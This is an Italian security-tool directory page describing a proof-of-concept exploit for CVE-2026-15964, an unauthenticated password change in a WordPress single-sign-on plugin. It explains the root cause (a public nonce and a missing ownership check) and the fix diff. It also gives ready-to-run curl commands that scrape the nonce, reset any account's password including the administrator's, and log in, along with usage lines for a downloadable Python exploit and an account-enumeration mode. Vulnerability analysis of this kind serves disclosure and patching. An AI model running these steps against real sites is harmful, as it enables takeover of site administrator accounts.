Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-15964-PoC — PoC e checker per CVE-2026-15964 - modifica della password non autenticata nel plugin WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8) | Kitploit
Strumenti/GitHubGitHub/instructor-admin/cve-2026-15964-poc
Autenticazione e AutorizzazioneEscalation di PrivilegiScanner di Vulnerabilità WebExploitSfruttamento di Applicazioni WebRaccolta InformazioniSicurezza WebPenetration Testing

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHubinstructor-admin/cve-2026-15964-poc

CVE-2026-15964-PoC

PoC e checker per CVE-2026-15964 - modifica della password non autenticata nel plugin WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8)

Vedi Repository
1132 mesi faNon ancora revisionato

CVE-2026-15964 - Single Sign On For TNG <= 2.0.0

POC

Escalation dei privilegi non autenticata tramite modifica non verificata della password nel plugin WordPress Single Sign On For TNG.

GravitàCritica (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-620 (Modifica della password non verificata)
Versioni interessateversioni del plugin dalla 1.0.0 alla 2.0.0
Corretta in2.1.0 (rilasciata il 2026-07-27)
Pubblicata2026-08-01
Autenticazione richiestanessuna (wp_ajax_nopriv_ssoprocess_ajax)
Impattocambiare la password di qualsiasi account WordPress, inclusi gli amministratori - compromissione totale del sito
Pluginhttps://wordpress.org/plugins/single-sign-on-for-tng/

TL;DR

Qualsiasi visitatore non autenticato può cambiare la password di qualsiasi account su un sito che esegue il plugin alla 2.0.0 o precedente. Bastano due richieste HTTP:

  1. GET sulla homepage e copia il nonce dall'oggetto JavaScript SSOPWDREQUIREMENT.
  2. POST su admin-ajax.php con operation=setnewpassword, l'email della vittima e una nuova password.

Il resto lo fa reset_password() del core di WordPress. Nessun token, nessun link di conferma via email, nessun controllo delle capacità. Dopo di che si accede come amministratore.

NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}

Perché funziona

Il gestore è registrato per gli utenti non autenticati

In single-sign-on-for-tng.php (v2.0.0):

add_action('wp_ajax_ssoprocess_ajax',        array($this, 'ssoprocess_ajax'));   // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax'));   // line 69

wp_ajax_nopriv_* significa che il gestore è raggiungibile senza alcuna sessione.

L'unica protezione è un nonce che il plugin consegna a ogni visitatore

load_scripts() è agganciato a wp_enqueue_scripts, quindi su ogni pagina front-end il plugin stampa questo nell'HTML:

wp_localize_script('general_script','SSOPWDREQUIREMENT',
    array('passwordspec'=>PASSWORDSPEC,
          'url'=>admin_url('admin-ajax.php'),
          'nonce'=>wp_create_nonce("ssoajaxnonce")));                              // line 96

Che viene renderizzato così:

<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>

E il gestore lo verifica così:

public function ssoprocess_ajax() {
    global $wpdb;
    check_ajax_referer('ssoajaxnonce', 'nonce');   // line 104
    ...

L'inghippo: WordPress calcola i nonce con wp_create_nonce($action) usando uid e il token di sessione. Per i visitatori non autenticati questi sono 0 e una stringa vuota, il che significa che ogni visitatore anonimo riceve esattamente lo stesso nonce. Viene rigenerato solo ogni 12 ore (il "tick" del nonce). Quindi il nonce che il plugin stampa per qualsiasi visitatore è valido anche per l'attaccante - non c'è alcun segreto da rubare, è pubblicato nella pagina stessa.

E poi il cambio vero e proprio, senza alcuna prova di proprietà

switch ($op) {
    case 'setnewpassword':
        if (!isset($post['email']) || !isset($post['password'])) { ... }
        $email = wp_unslash($post['email']);
        $user  = get_user_by('email', $email);
        if ($user !== false) {
            reset_password($user, $post['password']);   // line 120
            ...
            wp_send_json_success(array('success'=>true));
        }
        else
            wp_send_json_error(array('success'=>false));
        break;

reset_password() è una funzione del core di WordPress. Imposta il nuovo hash, disconnette la vittima da ogni altra sessione e attiva le azioni password_reset / after_password_reset. Qui viene chiamata senza che nulla dimostri che chi la invoca sia il proprietario dell'account.

Due cose in più che vale la pena sapere:

  • Nessun controllo lato server della robustezza della password su questo percorso. Le regole MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC del plugin vengono applicate solo in validate_form() per i moduli Forminator, mai qui. Qualsiasi password è accettata.
  • Enumerazione degli account. {"success":true} rispetto a {"success":false} ti dice se un'email è registrata. La modalità --enum-only del checker sfrutta questa cosa.
  • Bug bonus nella stessa funzione: operation=set_tzoffset chiama update_option('localtzoffset', $post['timezoneoffset']) senza autenticazione. Non sfruttabile direttamente per una RCE, ma è una scrittura di opzioni non autenticata e merita di essere menzionata nel writeup.

Cosa è cambiato nella 2.1.0

Il diff tra la 2.0.0 e la 2.1.0 rende evidente la correzione (e conferma il bug):

             case 'setnewpassword':
+                $timeout = intval($post['timeout']);
+                if (time() > $timeout) {
+                    // clears custom_recovery_token / _expiration / _nonce user meta
+                    wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+                    return;
+                }
                 $email = wp_unslash($post['email']);
                 $user  = get_user_by('email',$email);
                 if ($user !== false) {
                     reset_password($user,$post['password']);

inoltre, in newpasswordform():

+            if (empty($_GET['uid']))
+                return ... "An unexpected error occurred." ...
+            $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+            // The nonce is checked here
+            if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+                return ... "This recovery link is no longer valid." ...

Quindi nella 2.1.0 il flusso è: una richiesta di recupero legittima salva un custom_recovery_token + custom_recovery_nonce per utente nei meta utente, il link di recupero trasporta l'ID utente, il modulo li valida entrambi e il gestore AJAX rifiuta di eseguire una volta scaduta la finestra di recupero (timeout). Un attaccante che non può produrre un record di recupero ancora valido non può più pilotare setnewpassword.


Riproduzione (manuale)

Passo 1 - estrarre il nonce

curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"

Passo 2 - cambiare la password

curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"

Risposta attesa su un'installazione vulnerabile: {"success":true}

Passo 3 - accedere

curl -sk -X POST https://target/wp-login.php \
  -d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"

PoC: CVE-2026-15964.py

Exploit per singolo sito. Modalità non distruttive incluse.

# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'

# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only

# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12
Scarica lo strumento